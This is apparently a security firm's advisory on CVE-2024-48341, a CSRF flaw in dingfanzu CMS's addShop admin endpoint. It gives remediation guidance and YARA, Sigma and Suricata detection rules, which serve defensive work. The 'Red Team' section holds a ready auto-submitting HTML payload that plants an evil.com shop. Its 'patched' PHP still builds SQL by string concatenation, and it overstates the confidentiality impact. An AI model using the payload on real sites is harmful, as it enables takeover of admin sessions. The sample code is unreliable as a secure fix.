CVE-2024-48341

Executive Summary

CVE-2024-48341 is a Cross-Site Request Forgery (CSRF) vulnerability identified in dingfanzu CMS V1.0. The flaw resides in the /admin/doAdminAction.php?act=addShop endpoint, allowing an attacker to forge requests that add unauthorized shops to the CMS backend. This can lead to privilege escalation, data manipulation, and potential lateral movement within the application. The vulnerability has a CVSS v3.1 base score of 8.8 (High), with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. No official patch has been released, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP CMS application. No supply chain risks are identified beyond the lack of vendor patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the CSRF.
• User Interaction: Required (UI:R) – The victim must be logged in as admin and click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U) – The vulnerability affects only the CMS application.
• Confidentiality Impact: High (C:H) – An attacker can read sensitive data (e.g., shop details, admin credentials).
• Integrity Impact: High (I:H) – An attacker can modify or add arbitrary shops.
• Availability Impact: High (A:H) – An attacker could delete or corrupt shop data.

Threat Level: High. The vulnerability allows an unauthenticated attacker to perform state-changing operations on behalf of an authenticated admin, leading to full compromise of the CMS backend.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the doAdminAction.php script. The endpoint /admin/doAdminAction.php?act=addShop processes POST requests to add new shops without validating a CSRF token. The CMS does not implement anti-CSRF mechanisms such as synchronizer tokens, double-submit cookies, or SameSite cookies.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a form that auto-submits to the vulnerable endpoint.
2. The victim (an authenticated admin) visits the attacker’s page while their session cookie is active.
3. The browser automatically sends the forged request with the victim’s session cookie.
4. The server processes the request, adding a new shop controlled by the attacker.

Root Cause: Lack of CSRF protection in the admin panel. The addShop action does not check for a unique token or referrer header.

Vulnerable vs. Patched Code

Vulnerable Code (dingfanzu CMS V1.0):

// /admin/doAdminAction.php
if ($_GET['act'] == 'addShop') {
    $shopName = $_POST['shop_name'];
    $shopUrl = $_POST['shop_url'];
    // No CSRF token check
    $sql = "INSERT INTO shops (name, url) VALUES ('$shopName', '$shopUrl')";
    mysqli_query($conn, $sql);
}

Patched Code (Hypothetical Fix):

// /admin/doAdminAction.php
session_start();
if ($_GET['act'] == 'addShop') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $shopName = mysqli_real_escape_string($conn, $_POST['shop_name']);
    $shopUrl = mysqli_real_escape_string($conn, $_POST['shop_url']);
    $sql = "INSERT INTO shops (name, url) VALUES ('$shopName', '$shopUrl')";
    mysqli_query($conn, $sql);
}

Explanation: The patched code adds a CSRF token check using a session-stored token. The token must be generated and included in the form when rendering the admin page.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A victim with an active admin session in dingfanzu CMS V1.0.
• The victim must visit a malicious page controlled by the attacker.

Exploit Payload (HTML):

<html>
<body>
<form action="http://target.com/admin/doAdminAction.php?act=addShop" method="POST" id="csrf_form">
    <input type="hidden" name="shop_name" value="EvilShop">
    <input type="hidden" name="shop_url" value="http://evil.com">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Usage: Host this HTML on an attacker-controlled server. Send the link to the victim (e.g., via email or social engineering). When the victim visits the page, the form auto-submits, adding a malicious shop.

Advanced Exploit (Using XSS + CSRF): If an XSS vulnerability exists elsewhere, combine it to automate the attack without user interaction.

Blue Team (Detection & Prevention)

Detection:

• Monitor logs for POST requests to /admin/doAdminAction.php?act=addShop from unexpected referrers.
• Alert on multiple rapid shop creation attempts from the same IP.
• Use WAF rules to block requests without a valid CSRF token.

Prevention:

• Implement CSRF tokens in all admin forms.
• Set SameSite cookies to Lax or Strict.
• Validate the Origin or Referer header.
• Use CAPTCHA for sensitive actions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /admin/doAdminAction.php?act=addShop with Referer header not matching the application domain.
  • Unusual shop names or URLs in the database (e.g., EvilShop, http://evil.com).
• Host IOCs:
  • New entries in the shops table with suspicious data.
  • Log entries showing doAdminAction.php?act=addShop from IPs not in the admin’s usual range.
• File IOCs:
  • No file changes; the attack is purely request-based.

Detection Engineering

YARA Rule

rule detect_csrf_attack_dingfanzu {
    meta:
        description = "Detects CSRF attack attempts against dingfanzu CMS addShop endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48341"
    strings:
        $s1 = "doAdminAction.php?act=addShop" nocase
        $s2 = "shop_name=" nocase
        $s3 = "shop_url=" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Attack Against dingfanzu CMS addShop Endpoint
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to the vulnerable addShop endpoint without proper CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/admin/doAdminAction.php?act=addShop"
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF token is present)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48341 CSRF Attempt - dingfanzu CMS addShop"; flow:to_server,established; content:"POST"; http_method; content:"/admin/doAdminAction.php?act=addShop"; http_uri; content:"shop_name="; http_client_body; content:"shop_url="; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint temporarily by commenting out the addShop action in doAdminAction.php.
2. Implement CSRF tokens using a library like csrf-protect or custom session-based tokens.
3. Apply a WAF rule to block POST requests to /admin/doAdminAction.php?act=addShop without a valid token.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Conduct a full security audit of the CMS.
• Consider migrating to a supported CMS platform.

Workaround:

• Restrict access to the admin panel via IP whitelisting or VPN.
• Use browser extensions that block CSRF (e.g., NoScript, uMatrix).

Valters IT
Securing Digital Frontiers